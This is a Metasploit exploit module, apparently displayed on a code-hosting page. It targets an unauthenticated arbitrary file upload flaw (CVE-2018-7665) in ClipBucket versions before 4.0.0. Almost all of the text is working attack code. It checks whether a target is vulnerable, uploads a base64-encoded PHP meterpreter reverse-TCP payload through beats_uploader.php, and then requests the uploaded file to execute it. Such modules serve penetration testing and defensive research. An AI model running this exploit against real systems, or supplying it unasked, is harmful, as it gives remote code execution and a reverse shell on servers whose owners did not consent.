Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/multi/http/clipbucket_fileupload_exec.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download Current source: https://github.com/rapid7/metasploit-framework2##34class MetasploitModule < Msf::Exploit::Remote5Rank = ExcellentRanking67include Msf::Exploit::Remote::HttpClient8include Msf::Exploit::FileDropper910def initialize(info={})11super(update_info(info,12'Name' => "ClipBucket beats_uploader Unauthenticated Arbitrary File Upload",13'Description' => %q{14This module exploits a vulnerability found in ClipBucket versions before 4.0.0 (Release 4902).15A malicious file can be uploaded using an unauthenticated arbitrary file upload vulnerability.16It is possible for an attacker to upload a malicious script to issue operating system commands.17This issue is caused by improper session handling in /action/beats_uploader.php file.18This module was tested on ClipBucket before 4.0.0 - Release 4902 on Windows 7 and Kali Linux.19},20'License' => MSF_LICENSE,21'Author' =>22[23'www.sec-consult.com', # Vulnerability Discovery, PoC24'Touhid M.Shaikh <admin[at]touhidshaikh.com>' # Metasploit module25],26'References' =>27[28[ 'CVE', '2018-7665' ],29[ 'EDB', '44250' ]30],31'DefaultOptions' =>32{33'SSL' => false,34'PAYLOAD' => 'php/meterpreter/reverse_tcp',35'Encoder' => 'php/base64'36},37'Platform' => ['php'],38'Arch' => ARCH_PHP,39'Targets' =>40[41['Clipbucket < 4.0.0 - Release 4902', {}]42],43'Privileged' => false,44'DisclosureDate' => '2018-03-03',45'DefaultTarget' => 0))4647register_options(48[49OptString.new('TARGETURI', [true, 'The base path to the ClipBucket application', '/'])50])51end5253def uri54return target_uri.path55end5657def check58vprint_status('Trying to detect ClipBucket on target.')5960# check for readme file61res = send_request_cgi({62'method' => 'GET',63'uri' => normalize_uri(uri, 'readme')64})6566unless res67vprint_error('Connection failed')68return CheckCode::Unknown69end7071unless res.code == 200 && res.body.include?('ClipBucket')72vprint_error('Could not find readme')73return CheckCode::Safe74end7576# check for beats_uploader.php file77res = send_request_cgi({78'method' => 'GET',79'uri' => normalize_uri(uri, 'actions', 'beats_uploader.php')80})8182unless res83vprint_error('Connection failed')84return CheckCode::Unknown85end8687unless res.code == 20088vprint_error('Could not find beats_uploader.php')89return CheckCode::Safe90end9192Exploit::CheckCode::Appears93end9495def exploit9697# generate the PHP meterpreter payload98stager = '<?php '99stager << payload.encode100stager << '?>'101102# Setting POST data103post_data = Rex::MIME::Message.new104post_data.add_part(stager, content_type = 'application/octet-stream', transfer_encoding = nil, content_disposition = 'form-data; name="file"; filename="pfile.php"') # payload105post_data.add_part('1', content_type = nil, transfer_encoding = nil, content_disposition = 'form-data; name="plupload"') # require for uploading106post_data.add_part('agent22.php', content_type = nil, transfer_encoding = nil, content_disposition = 'form-data; name="name"')107data = post_data.to_s108109110print_status('Uploading payload..')111res = send_request_cgi({112'method' => 'POST',113'uri' => normalize_uri(uri, 'actions', 'beats_uploader.php'),114'data' => data,115'ctype' => "multipart/form-data; boundary=#{post_data.bound}"116})117118jsonres = res.get_json_document119120# If the server returns 200 and success yes, we assume we uploaded the malicious121# file successfully122unless res && res.code == 200 && jsonres['success'] == 'yes'123fail_with(Failure::None, "#{peer} - File wasn't uploaded, aborting!")124end125print_good('Looking For Payload..')126pdir = jsonres['file_directory']127file_name = jsonres['file_name']128pext = jsonres['extension']129print_good("found payload in /actions/#{pdir}/#{file_name}.#{pext}")130131# Payload name132pname = "#{file_name}.php"133134# Cleanup is Good Idea .135register_files_for_cleanup(pname)136137print_status("Executing Payload [ #{uri}/actions/#{pdir}/#{pname} ]" )138res = send_request_cgi({139'method' => 'GET',140'uri' => normalize_uri(uri, 'actions', pdir, pname)141})142143# If we don't get a 200 when we request our malicious payload, we suspect144# we don't have a shell, either.145if res && res.code != 200146print_error('Unexpected response, probably the exploit failed')147end148end149end150151152